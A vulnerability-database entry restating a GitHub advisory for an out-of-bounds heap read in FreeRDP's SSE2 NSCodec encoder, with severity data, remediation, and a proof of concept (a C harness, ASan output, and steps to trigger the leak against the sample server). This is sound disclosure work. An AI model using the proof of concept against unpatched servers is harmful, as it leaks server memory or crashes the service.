Out-of-bounds read in FreeRDP NSCodec SSE2 encoder
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- High
- Impact type
- —
- Confidentiality · integrity · availability
- Low · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-x63q-m64m-pv42. Fix status from GitHub.
Summary
FreeRDP from 2.0.0 before 3.34.0 contains an out-of-bounds read (CWE-125) in the SSE2 NSCodec encoder, which reads past the source buffer when the image width is not a multiple of 8. The over-read bytes are compressed and sent to the client, so a remote attacker with low privileges can obtain small amounts of server heap memory. Reading unmapped memory can crash the server, and the attack complexity is high.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
Description from the GitHub advisory
### Summary `nsc_encode_argb_to_aycocg_sse2()` (`libfreerdp/codec/sse/nsc_sse2.c`) reads a full 8-pixel group for every step of `x += 8`, even when fewer pixels remain in the row. On the last row in memory (encoded first), this reads past the caller's buffer: | Format | Bytes read past the end | |---|---| | BGRX32/RGBX32 | 27 | | BGRA32/RGBA32 | 28 | | 24-bpp | 21 | | 16-bpp | 14 | The bytes beyond the row end land in the padding columns of the luma plane. Those columns are counted in `OrgByteCount[0] = tempWidth * height` with `tempWidth = align8(width)` (`nsc_encode.c:90`), so they are compressed and sent to the client. A client therefore receives a transformed copy of up to 27 bytes of server heap from just after the encoded surface. If that memory is unmapped, the server crashes instead. The generic C encoder reads exactly `width * bpp` per row and is not affected. SSE2 is the default on x86_64 (`WITH_SIMD=ON`). ### Details ```c /* nsc_sse2.c */ 320 const BYTE* src = data + (context->height - 1 - y) * scanline; 326 for (UINT16 x = 0; x < context->width; x += 8) 333 rc = nsc_encode_next_rgba(context->format, src, ...); /* reads 8 pixels */ 46 *b_val = _mm_set_epi16(*(src + 28), ..., *(src + 4), *src); /* bgrx32: src[0..30] */ ``` `nsc_compose_message()` (`nsc_encode.c:447`), which is a public API, does not require any slack after the buffer. Reachable callers: - **Shadow server** (`server/shadow/shadow_client.c:2307-2308`): this encodes each frame's dirty-rect bounding box from `surface->data`. The surface is allocated as `align32(height)` rows of `align32(width)*4` bytes (`shadow_surface.c:41,43`). The over-read leaves that buffer when two things hold: the rect touches the right edge with `x + align8(w) > align32(surface width)`, and it includes the bottom row of a surface whose height is a multiple of 32 (for example 1024×768). - The Windows (DXGI), macOS and Mutter backends pass arbitrary OS damage rects. - The X11 backend uses a 16×16 grid, which never satisfies the condition. - **Sample server** (`server/Sample/sfreerdp.c:453`): this encodes the 29×64 24-bpp test icon on every client mouse move. The buffer is exactly `88 * 64` bytes, so every frame over-reads by 8 bytes. The client chooses NSCodec and its subsampling and color-loss settings, but it does not choose the dirty-rect geometry. ### Proof of concept **Over-read under ASan** (3 of 3 runs). Link the program below against an ASan build of the library: ```c #include <stdlib.h> #include <string.h> #include <freerdp/codec/nsc.h> #include <freerdp/codec/color.h> #include <winpr/stream.h> int main(void) { const UINT32 w = 9, h = 4, scanline = 9 * 4; /* w % 8 != 0, no row slack */ BYTE* buf = malloc(scanline * h); memset(buf, 0xA0, scanline * h); NSC_CONTEXT* nsc = nsc_context_new(); nsc_context_set_parameters(nsc, NSC_COLOR_FORMAT, PIXEL_FORMAT_BGRX32); wStream* s = Stream_New(NULL, 1 << 20); nsc_compose_message(nsc, s, buf, w, h, scanline); return 0; } ``` ``` ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 #0 nsc_encode_next_bgrx32 libfreerdp/codec/sse/nsc_sse2.c:47 #2 nsc_encode_argb_to_aycocg_sse2 libfreerdp/codec/sse/nsc_sse2.c:333 #4 nsc_compose_message libfreerdp/codec/nsc_encode.c:468 located 0 bytes after 144-byte region ``` On a Release build with a guard page after the buffer, width 9 BGRX32 faults with 26 bytes of slack and does not fault with 27. **Leak into the message.** We used the shadow geometry: a 1024×768 BGRX32 surface, scanline 4096, rect x=1022 w=2 h=768, and a known pattern `c0 c1 c2 …` placed right after the buffer. We encoded with loss level 1, parsed the message, and decompressed the luma plane: ``` luma plane row0 (col0,1 = real px, col2..7 = over-read): 10 10 c0 c4 c8 cc d0 d4 ``` The spill columns equal `Y = (R>>2) + (G>>1) + (B>>2)` of the pattern, and the message changes when those bytes change. We can send this harness if it helps. **End-to-end, sample server (ASan build).** Start `sfreerdp-server --port=3393 --cert=server.crt --key=server.key`, with `test_icon.bmp` in the working directory. Connect a client that negotiates NSCodec, with RemoteFX and the GFX pipeline off, and move the mouse once: ``` ERROR: AddressSanitizer: heap-buffer-overflow ... thread T1 #0 nsc_encode_next_bgr24 libfreerdp/codec/sse/nsc_sse2.c:100 #5 test_send_cursor_update server/Sample/sfreerdp.c:453 located 2 bytes after 5632-byte region ``` ASan reports the first load past the end. A guard-page sweep at that geometry confirms the full extent: 7 bytes of slack faults, and 8 bytes does not. The Release build serves the session without crashing. ### Impact This is a small, fixed-position heap disclosure from the server to an authenticated client. The client gets up to 27 transformed bytes per qualifying frame, from just after the surface buffer, and cannot aim the read elsewhere. If the page after the buffer is unmapped, the server crashes instead. In the test with a 1024×768 surface (a 3 MB buffer), the memory after the buffer was mapped and nothing faulted.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | >= 2.0.0 | 3.34.0 | Patch available | GHSA-x63q-m64m-pv42 |
- FreeRDP (c) Vendor— Affected >= 2.0.0 Fixed in 3.34.0 Patch available GHSA-x63q-m64m-pv42
Remediation
FreeRDP 3.34.0 fixes this flaw, so upgrade to that version or later.
Written with Claude Haiku 5.5 from the sources below · 2026-12-03
- Fix · GHSA-x63q-m64m-pv42 FreeRDP (c) Fixed in 3.34.0 Advisory →
Timeline
- 2026-12-03 Threatist record created from GHSA-x63q-m64m-pv42
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences